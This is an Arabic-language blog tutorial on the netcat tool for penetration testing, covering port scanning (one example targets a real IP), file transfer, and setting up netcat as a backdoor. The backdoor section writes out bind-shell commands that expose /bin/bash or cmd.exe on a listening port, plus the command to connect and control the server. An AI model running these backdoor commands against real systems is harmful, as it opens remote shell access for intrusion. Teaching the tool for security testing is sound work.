728x90 شفرة ادسنس

  • اخر الاخبار

    24‏/1‏/2015

    كل ما تود ان تعرفه عن أداة Netcat للختبار الاختراق


    تعرفنا في موضوع سابق عن افضل أدوات توزيعة كالي لينكس الموجهة للاختبار الاختراق وقمنا بتعريف موجز عن بعض الأدوات ،في هذا الموضوع سنتعرف بإذن الله عن أداة Netcat التي تعد من افضل الادوات للاختبار الاختراق.
    Netcat
    لهذه الأداة العديد من الخيارات و الاستخدامات المتعددة والخطيرة فتستطيع استعمالها لكثير من الأمور فهي تقوم بإرسال واستقبال البيانات باستعمال ـ TCP & UDP Protocolsلذلك تعد هذه الاداة بالمرتبة الرابعة في قائمة Top 100 Network Security Tools

    فحص المنافذ المفتوحة في السيرفر
    تستطيع أداة Netcat فحص المنافذ المفتوحة بالسيرفر ولكن Nmapأفضل وأسرع منها في ذلك (سأضع شرح لها قريبا ان شاء الله) وللقيام بهذه العملية نستعمل الأمر
    nc -v -w1 SERVER-IP -z FromPort-ToPort

    أما بالنسبة للخيارات التي استخدمناها
    -v
    لجعل الأداة تعمل بشكل الـ verbose mode أي لرؤية ماذا يحدث
    -w
    لتحديدي الـ Time out لكل اتصال وهنا حددناه ثانية واحدة
    -z
    تستعمل في عملية فحص المنافذ
    مثال على ذلك
    nc -v -w1 64.233.183.147 -z 1-100

    ولفحص أكثر من نطاق منافذ نستعمل الأمر
    nc -v -w1 -z 00.000.000.000 -z 1-100 400-500

    ملاحظة: 00.000.000.000  هو IP موقع معين على سبيل المثال

    نقل الملفات بين جهازك والسيرفر
    من ميزات الـ Netcat أنها تستطيع نقل الملفات بين جهازين وللقيام بهذه العملية نطبق الأمر في الجهاز المرسل:
    nc SERVER-IP PORT < FILE

    ونطبق الأمر في الجهاز المستقبل
    nc -l -p PORT > FILE

    مثال لإرسال ملف اسمه data.txt عن طريق البورت 5555 مثلا
    nc 192.168.0.45 5555 < data.txt

    أما بالنسبة لاستقبال ملف data.txt عن طريق المنفذ 5555 ننفذ الأمر
    nc -l -p 5555 > data.txt

    مع جعل اداة Netcat تعمل كـ Backdoor
    هذه أخطر استعمالات الـ Netcat فهي تشكل خطورة على الجهاز و السيرفر بشكل عام حيث تمتاز أداة  Netcat  بخاصية ارسال البيانات الى برنامج معين مثل cmd.exeفي نظام الويندوز و /bin/bash في نظام لينكس مما يجعلك تستطيع تطبيق أوامر على السيرفر والتحكم به بشكل كامل، ولكي يتم تنفيذ هذه الخاصية باستعمال الأمر:
    nc -l -p PORT -e PROGRAM

    مع اضافة -d و -L في نظام الويندوز ليصبح الأمر
    nc -l -p PORT -d -e PROGRAM –L

    مثال على هذه الخاصية نقوم بتطبيق الأمر
    nc -l -p 4455 -e /bin/bash

    على السيرفر اذا كان السيرفر في نظام ويندوز نطبق نفس الأمر مع اضافة -L و -d مع القيام بتغيير
      /bin/bash الذي يستعمل في نظام لينكس الى cmd.exe الذي يستعمل في نظام الويندوز ليصبح الأمر بالشكل التالي:
    nc -l -p 4455 -e -d cmd.exe –L

    وللاتصال بالسيرفر نطبق الأمر
    nc -v -n SERVER-IP 4455


    وبهذه الطريقة نستطيع ارسال أوامر للتحكم بالسيرفر .
    • تعليقات بلوجر
    • تعليقات الفيس بوك

    0 التعليقات :

    إرسال تعليق

    Item Reviewed: كل ما تود ان تعرفه عن أداة Netcat للختبار الاختراق Rating: 5 Reviewed By: محمد أيوب
    Scroll to Top